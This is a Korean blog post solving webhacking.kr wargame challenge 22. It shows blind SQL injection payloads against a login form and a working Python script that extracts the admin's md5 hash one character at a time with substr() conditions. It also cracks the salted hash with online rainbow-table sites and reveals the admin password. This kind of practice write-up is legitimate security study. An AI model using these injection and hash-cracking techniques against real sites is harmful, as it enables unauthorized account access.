보안 공부/webhacking.kr

webhacking.kr 22번 풀이

sh1256 2022. 1. 21. 11:32
728x90

첫화면

 

mission: login as admin

 

 

<테스트케이스1>

username: test

password: 1234

 

 

<join 후 login 결과>

 

 

hash코드가 32자리 인것을 보아 md5암호문 같다. 

md5복호화를 해보자

(대부분의 사이트가 에러가 뜬다. 밑의 사이트를 이용하자)

https://crackstation.net/

 

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack

crackstation.net

decode 결과

복호화 결과: 1234apple

아마 hash코드는 '입력받은 pw'+'apple'md5 암호화 해서 만든 것 같다. 

 

 

그럼 이제 admin의 hash코드를 알면 문제를 풀 수 있다. 

 

blind sql injection을 해보자

 

 

<test'and'1'='1'#>

 

<test'and'1'='2'#>

 

 

 

and문을 이용해서 참과 거짓을 알아내는 것이 좋은 것 같다. 

uesrname: test'and+조건문 이라고 할 때, 

조건문이 참이면 Wrong password라고 뜨고, 거짓이면 login fail이 뜬다. 

 

 

그럼 이전에 만들었던 것으로 테스트를 해보자

id: test

pw: 325f7e02fa1f90826b88114be7fd3f9c(해시코드)

 

<참>

 

<거짓>

 

 

 

이제 파이썬으로 admin의 hash코드를 알아내보자. 

import requests
headers={'PHPSESSID':'쿠키값'}
url ="https://webhacking.kr/challenge/bonus-2/"
length=32#hash는 32자리
hash= ""
for i in range(1, length+1):
    for j in range(48, 122):#숫자부터 소문자z까지
        search_str="admin'and substr(pw,"+str(i)+",1)='"+chr(j)+"'#"
        print("search_str(uuid): "+search_str)
        datas={'uuid':search_str, 'pw':'12'}
        r= requests.post(url, headers=headers, data=datas)
        
        if r.text.find("Wrong password!") !=-1:
            hash+=chr(j)
            print("hash: "+hash)
            break

 

hash: 6C9CA386A903921D7FA230FFA0FFC153

 

 

아까 쓴 사이트에서 복호화를 시도했는데 실패가 떳다. 

다른 사이트에서 시도해보면 된다. 

여기서 시도 --> https://www.md5online.org/md5-decrypt.html

 

결과: wowapple

 

id:admin

pw: wow

로그인해보자

 

 

성공!!

 

'보안 공부 > webhacking.kr' 카테고리의 다른 글

webhacking.kr 12번 풀이  (0) 2022.01.21
webhacking.kr 60번 풀이  (0) 2022.01.21
webhacking.kr 44번 풀이  (0) 2022.01.21
webhacking.kr 34번 풀이  (0) 2022.01.19
webhacking.kr 29번 풀이  (0) 2022.01.17